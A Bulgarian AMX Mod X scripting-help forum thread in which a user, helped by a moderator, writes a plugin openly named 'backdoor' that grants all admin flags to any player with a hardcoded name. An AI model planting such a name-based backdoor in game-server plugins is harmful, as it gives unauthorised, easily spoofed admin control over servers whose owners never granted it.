for loop цикъл на играчите и техните имена

Ако имате затруднения при изработката/преработката на даден плъгин - пишете тук, ще се опитаме да ви помогнем!
Аватар
gadinkata
Извън линия
Потребител
Потребител
Мнения: 259
Регистриран на: 21 Мар 2018, 12:33
Местоположение: Враца
Се отблагодари: 25 пъти
Получена благодарност: 7 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от gadinkata » 30 Мар 2020, 17:38

Зравейте,трябва ми for loop цикъл код"скрип" на играчите и техните имена,дефинирал съм име,което искам,след като човек влезне във сървра да направи проверката дали играч е с дефинираното име,и ако е с него да извърши еди кво си,за това ми трябва само самата проверка.

Код за потвърждение: Избери целия код

public client_authorized(id)
{
	new iPlayers[32], iPnum, iPlayer
	get_user_name(iPlayers, iPnum)
	for(new i = iPlayer; i < iPnum; i++)
	{
		iPlayer = iPlayers[i]
		new szName[32]
		get_user_name(id,szName,31)
		if(equal(szName,"g_pName1"))
		{
			set_user_flags(id, read_flags(flags))
		}
		return PLUGIN_HANDLED
	}return PLUGIN_HANDLED
}

ето го моя код,но нещо като влезна неме засича,и неми давава това което съм му задал

Аватар
hackera457
Извън линия
Модератор
Модератор
Мнения: 768
Регистриран на: 01 Ное 2016, 09:46
Местоположение: София
Се отблагодари: 1 път
Получена благодарност: 124 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от hackera457 » 30 Мар 2020, 19:40

Не виждам защо ще обхождаш всички играчи, като можеш да вземеш името на играча, който влиза и да направиш проверка за съвпадение с предваритерно зададено като константа. Кодът ти никога няма работи, защото никъде няма get_players функцията, а безнея кодът няма да работи

Код за потвърждение: Избери целия код

get_user_name(iPlayers, iPnum)
Това е толкова грешно, може би си имал предвид get_players
Съветът ми е да прочетеш преди да почнеш да пишеш собствен код

Код за потвърждение: Избери целия код

public client_authorized(id)
{
	new szName[32]
	get_user_name(id,szName,charsmax(szName))
	
	if(equali(szName,"pName"))
		set_user_flags(id,read_flags(flags))
}
Това е правилния начин, другото е напълно излишно
Моите плъгини

Код за потвърждение: Избери целия код

#include <hambeer>

RegisterHamBeer(HamBeer_Spawn, "player", "GivePlayerBeer", 1);

public GivePlayerBeer(Pl){
    if(!is_user_alive(Pl)){
        ham_give_beer(Pl, 5)
        client_print(Pl, print_chat, "Go Go Go"){
}  


Аватар
JackEyedJones
Извън линия
Потребител
Потребител
Мнения: 399
Регистриран на: 10 Сеп 2018, 17:26
Местоположение: Plovdiv, Bulgaria, Europe, Entire World
Се отблагодари: 4 пъти
Получена благодарност: 69 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от JackEyedJones » 30 Мар 2020, 19:43

Най-добре проверката да е при client_connect(id) / client_putinserver(id). Не всеки има оригинален стийм и така ще прескача играча, ако няма оригинален стийм. ;-(

Аватар
gadinkata
Извън линия
Потребител
Потребител
Мнения: 259
Регистриран на: 21 Мар 2018, 12:33
Местоположение: Враца
Се отблагодари: 25 пъти
Получена благодарност: 7 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от gadinkata » 30 Мар 2020, 20:26

Добре разбирам ви всичко,но попринцип може ли да се направи проверка с get_players с цикъл или не може защото,аз сега пробвах,но не стигам до едно нещо което много ме затруднява и искам съвет как да постъпвам занапред

Код за потвърждение: Избери целия код

#include <amxmodx>
#define flags "abcdefghijklmnopqrstu"

#define PLUGIN "backdoor"
#define VERSION "0.1a"
#define AUTHOR "aTmAx"
#define g_pName1 "Joco"

public plugin_init()
{
     register_plugin(PLUGIN, VERSION, AUTHOR)
}

public client_putinserver(id)
{
	new iPlayers[32], iPnum
	
	get_players(iPlayers, iPnum)
	for(new i, iPlayer; i < iPnum; i++)
	{
		iPlayer = iPlayers[i]
		
		if(get_user_name(iPlayer) & g_pName1)
		{
		set_user_flags(id, read_flags(flags))
		}
	}
}
на 23 ред

Код за потвърждение: Избери целия код

if(get_user_name(iPlayer) & g_pName1)
ми изписвa

Код за потвърждение: Избери целия код

(23) : error 088: number of arguments does not match definition
а провеката за админ флаг неми дава тая грешка за лошата дефиниция,

Код за потвърждение: Избери целия код

if(get_user_flags(iPlayer) & ADMIN_KICK)
в по горния код използвах

Код за потвърждение: Избери целия код

#define g_pName1 "Joco"
,да но във втората проверка,ако искам да си дефинирам ADMIN_KICK

Код за потвърждение: Избери целия код

#define ADMINLEVEL "ADMIN_KICK" if(get_user_flags(iPlayer) & ADMINLEVEL)
пак ще ми изкара грешката за дефиниция при компилацияи въпросами е при тая проверка

Код за потвърждение: Избери целия код

if(get_user_name(iPlayer) & g_pName1)
функцията get_user_name може ли да се използва по тоя начин в проверката?

Аватар
JackEyedJones
Извън линия
Потребител
Потребител
Мнения: 399
Регистриран на: 10 Сеп 2018, 17:26
Местоположение: Plovdiv, Bulgaria, Europe, Entire World
Се отблагодари: 4 пъти
Получена благодарност: 69 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от JackEyedJones » 30 Мар 2020, 20:30

Не няма да работи - на питането от последните редове. Като гледам името на плъгина, да те научим да правиш дупки по плъгините - не е уместно.

По темата, модератора ти е дал най-точно това което трябва. Да проверяваш всички при влизането на един, не е правилно. Няма смисъл просто.

Аватар
gadinkata
Извън линия
Потребител
Потребител
Мнения: 259
Регистриран на: 21 Мар 2018, 12:33
Местоположение: Враца
Се отблагодари: 25 пъти
Получена благодарност: 7 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от gadinkata » 30 Мар 2020, 20:37

тук не става въпрос за дупки,въпроса е,че искам да се науча да го разбирам, и до оня ден правих вип меню,днес реших да си дам права без да съм ги задал в user.ini и така благодаря,за отговорите полезни са.Също ако желаете може да локнете :)

Аватар
hackera457
Извън линия
Модератор
Модератор
Мнения: 768
Регистриран на: 01 Ное 2016, 09:46
Местоположение: София
Се отблагодари: 1 път
Получена благодарност: 124 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от hackera457 » 30 Мар 2020, 20:37

gadinkata написа: 30 Мар 2020, 20:26 Добре разбирам ви всичко,но попринцип може ли да се направи проверка с get_players с цикъл или не може защото,аз сега пробвах,но не стигам до едно нещо което много ме затруднява и искам съвет как да постъпвам занапред

Код за потвърждение: Избери целия код

#include <amxmodx>
#define flags "abcdefghijklmnopqrstu"

#define PLUGIN "backdoor"
#define VERSION "0.1a"
#define AUTHOR "aTmAx"
#define g_pName1 "Joco"

public plugin_init()
{
     register_plugin(PLUGIN, VERSION, AUTHOR)
}

public client_putinserver(id)
{
	new iPlayers[32], iPnum
	
	get_players(iPlayers, iPnum)
	for(new i, iPlayer; i < iPnum; i++)
	{
		iPlayer = iPlayers[i]
		
		if(get_user_name(iPlayer) & g_pName1)
		{
		set_user_flags(id, read_flags(flags))
		}
	}
}
на 23 ред

Код за потвърждение: Избери целия код

if(get_user_name(iPlayer) & g_pName1)
ми изписвa

Код за потвърждение: Избери целия код

(23) : error 088: number of arguments does not match definition
а провеката за админ флаг неми дава тая грешка за лошата дефиниция,

Код за потвърждение: Избери целия код

if(get_user_flags(iPlayer) & ADMIN_KICK)
в по горния код използвах

Код за потвърждение: Избери целия код

#define g_pName1 "Joco"
,да но във втората проверка,ако искам да си дефинирам ADMIN_KICK

Код за потвърждение: Избери целия код

#define ADMINLEVEL "ADMIN_KICK" if(get_user_flags(iPlayer) & ADMINLEVEL)
пак ще ми изкара грешката за дефиниция при компилацияи въпросами е при тая проверка

Код за потвърждение: Избери целия код

if(get_user_name(iPlayer) & g_pName1)
функцията get_user_name може ли да се използва по тоя начин в проверката?
Ти не си нясно със синтаксиса на функциите, get_user_name е функция, която приема 3 параметъра:
* Първият параметър е ID на играча
* Вторият е променливата, където ще се съхранява името
* Третият параметър е размерът /винаги е -1 от предварително зададения/

Код за потвърждение: Избери целия код

if(get_user_name(iPlayer) & g_pName1)
Тук с това никога няма да се компилира, проверката за това, дали даден стринг е като предарително зададен става с equal/equali. В предното ми мнение съм ти дал правилния начин - всичко друго е безсмислено
Моите плъгини

Код за потвърждение: Избери целия код

#include <hambeer>

RegisterHamBeer(HamBeer_Spawn, "player", "GivePlayerBeer", 1);

public GivePlayerBeer(Pl){
    if(!is_user_alive(Pl)){
        ham_give_beer(Pl, 5)
        client_print(Pl, print_chat, "Go Go Go"){
}  


Аватар
gadinkata
Извън линия
Потребител
Потребител
Мнения: 259
Регистриран на: 21 Мар 2018, 12:33
Местоположение: Враца
Се отблагодари: 25 пъти
Получена благодарност: 7 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от gadinkata » 30 Мар 2020, 20:49

Пак благодаря много това исках да разбера,наистина не съм наясно с тея параметри и т.н следователно get_user_flags приема повече параметри или поне различни параметри от тия на get_user_name
Благодаря Благодаря Локвайте

Аватар
OciXCrom
Извън линия
Администратор
Администратор
Мнения: 7206
Регистриран на: 06 Окт 2016, 19:20
Местоположение: /resetscore
Се отблагодари: 117 пъти
Получена благодарност: 1295 пъти
Обратна връзка:

for loop цикъл на играчите и техните имена

Мнение от OciXCrom » 31 Мар 2020, 03:09

JackEyedJones написа: 30 Мар 2020, 19:43 Най-добре проверката да е при client_connect(id) / client_putinserver(id). Не всеки има оригинален стийм и така ще прескача играча, ако няма оригинален стийм. ;-(
Ъ, пак пишеш глупости. Извикването на client_authorized няма нищо общо с това дали играчът има оригинален Steam и си работи за всички играчи.

Заключено
  • Подобни теми
    Отговори
    Преглеждания
     Последно мнение

Обратно към “Помощ в скриптирането”

Кой е на линия

Потребители разглеждащи този форум: 0 регистрирани и 9 госта